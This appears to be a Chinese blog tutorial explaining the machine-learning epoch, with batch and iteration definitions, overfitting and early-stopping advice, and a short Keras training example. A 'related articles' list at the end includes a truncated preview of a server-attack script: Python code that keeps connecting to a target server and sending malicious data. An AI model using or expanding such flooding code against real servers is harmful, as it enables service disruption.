【漫话机器学习系列】050.epoch(迭代轮数)

ops/2025/1/19 17:21:02/

Epoch(迭代轮数)


定义

在深度学习中,Epoch 是一个完整的训练周期。
指将整个训练数据集传入模型,进行一次完整的正向传播和反向传播,并完成权重更新的过程。

例如:

  • 如果数据集有 1000 条样本,模型的 batch size 是 100,那么 1 个 epoch 包括 10 个 batch 的训练。
  • 每完成这 10 次训练,即完成了 1 个 epoch。

相关术语

  1. Batch(批次)

    • 数据集分成的小部分,用于一次训练。
    • Batch size:每个批次包含的样本数量。
    • 选择合适的 batch size 影响训练效率和模型表现。
  2. Iteration(迭代)

    • 一次迭代是指用一个 batch 数据完成一次权重更新。
    • 关系

      \text{Iteration per Epoch} = \frac{\text{Dataset Size}}{\text{Batch Size}}

如何选择合适的 Epoch

  • Epoch 的大小
    过小的 epoch 可能导致训练不足;过多的 epoch 会引发过拟合。
  • 通常使用 验证集 或者 提前停止(Early Stopping) 来决定最佳的 epoch 数量。

Epoch 的作用

  1. 模型收敛
    通过多轮数据迭代,逐渐减少模型的训练误差,使其接近最优解。

  2. 优化性能
    让模型多次“见”到所有数据,提取更多特征。


Epoch 过多的风险

  1. 过拟合

    • 模型对训练集表现优秀,但泛化能力差。
    • 解决方法:
      • 使用正则化方法(如 L1/L2 正则化)。
      • 增加 Dropout。
      • 提早停止训练(Early Stopping)。
  2. 时间浪费

    • 增加的计算时间可能无法带来性能的显著提升。

代码示例

以下是一个简单的深度学习训练过程,说明 Epoch 与 Batch 的关系:

import numpy as np
import tensorflow as tf# 创建模拟数据
X = np.random.rand(1000, 10)  # 1000 个样本,每个样本有 10 个特征
y = np.random.randint(0, 2, size=(1000, 1))  # 二分类标签# 构建简单模型
model = tf.keras.Sequential([tf.keras.layers.Dense(16, activation='relu', input_shape=(10,)),tf.keras.layers.Dense(1, activation='sigmoid')
])model.compile(optimizer='adam', loss='binary_crossentropy', metrics=['accuracy'])# 训练模型
history = model.fit(X, y, batch_size=32, epochs=10)  # 每个 epoch 运行 (1000/32) ≈ 31 次迭代


总结

  • Epoch 是深度学习训练的重要概念,指完成一轮训练数据的全部遍历。
  • 合理的 epoch 数量能显著提升模型的性能,但需要注意过拟合风险。
  • 通过验证集或提前停止机制可以找到合适的 epoch 数量。

http://www.ppmy.cn/ops/151434.html

相关文章

Phi小模型开发教程:用C#开发本地部署AI聊天工具,只需CPU,不需要GPU,3G内存就可以运行,不输GPT-3.5

大家好,我是编程乐趣。 行业诸多大佬一直在说:“‌2025年将是AI应用元年‌”,虽然说大佬的说法不一定对,但AI趋势肯定没错的。 对于我们程序员来说,储备AI应用开发技能,不管对找工作、接项目、创业肯定是…

在【IntelliJ IDEA】中配置【Tomcat】【2023版】【中文】【图文详解】

作为一款功能强大的集成开发环境(IDE),IntelliJ IDEA为Web服务器提供了卓越的支持,从而极大地简化了程序员在Web开发过程中的工作流程。学习Java Web开发实质上就是掌握如何创造动态Web资源,这些资源在完成开发后&…

如何攻击一个服务器(仅用于教育及娱乐实验目的)

import socket import osdef create_virus():# 创建一个简单的病毒脚本,它会不断尝试连接目标服务器并发送恶意数据virus_code """ import socket import time import threadingdef attack_server(ip, port):while True:try:s socket.socket(socke…

麒麟V10系统上安装Oracle

以下是在麒麟V10系统上安装Oracle数据库的详细步骤: 安装前准备 检查系统版本:使用uname -a、cat /etc/os-release等命令检查服务器是麒麟V10系统。 配置固定IP和本地yum源: 挂载麒麟V10的iso文件到/mnt目录,如mount -o loop Ky…

【AI日记】25.01.18

【AI论文解读】【AI知识点】【AI小项目】【AI战略思考】【AI日记】【读书与思考】 AI kaggle 比赛:Forecasting Sticker Sales 读书 书名:自由宪章阅读原因:作者哈耶克,诺贝尔经济学奖得主,之前读过他的 《通往奴役…

Vi 和 Vim 文本编辑器使用指南

目录 基本模式 查找与替换 Vi(Visual)和 Vim(Vi Improved)是两款在 Unix/Linux 系统中广泛使用的文本编辑器。Vim 是 Vi 的改进版本,继承了 Vi 的核心功能,并增加了许多新特性,如语法高亮、多…

2.slf4j入口

文章目录 一、故事引入二、原理探究三、SLF4JServiceProvider四、总结 一、故事引入 故事要从下面这段代码说起 public class App {private static final Logger logger LoggerFactory.getLogger(App.class);public static void main( String[] args ) throws Exception {lo…

【视觉惯性SLAM:十六、 ORB-SLAM3 中的多地图系统】

16.1 多地图的基本概念 多地图系统是机器人和计算机视觉领域中的一种关键技术,尤其在 SLAM 系统中具有重要意义。单一地图通常用于表示机器人或相机在环境中的位置和构建的空间结构,但单一地图在以下情况下可能无法满足需求: 大规模场景建图…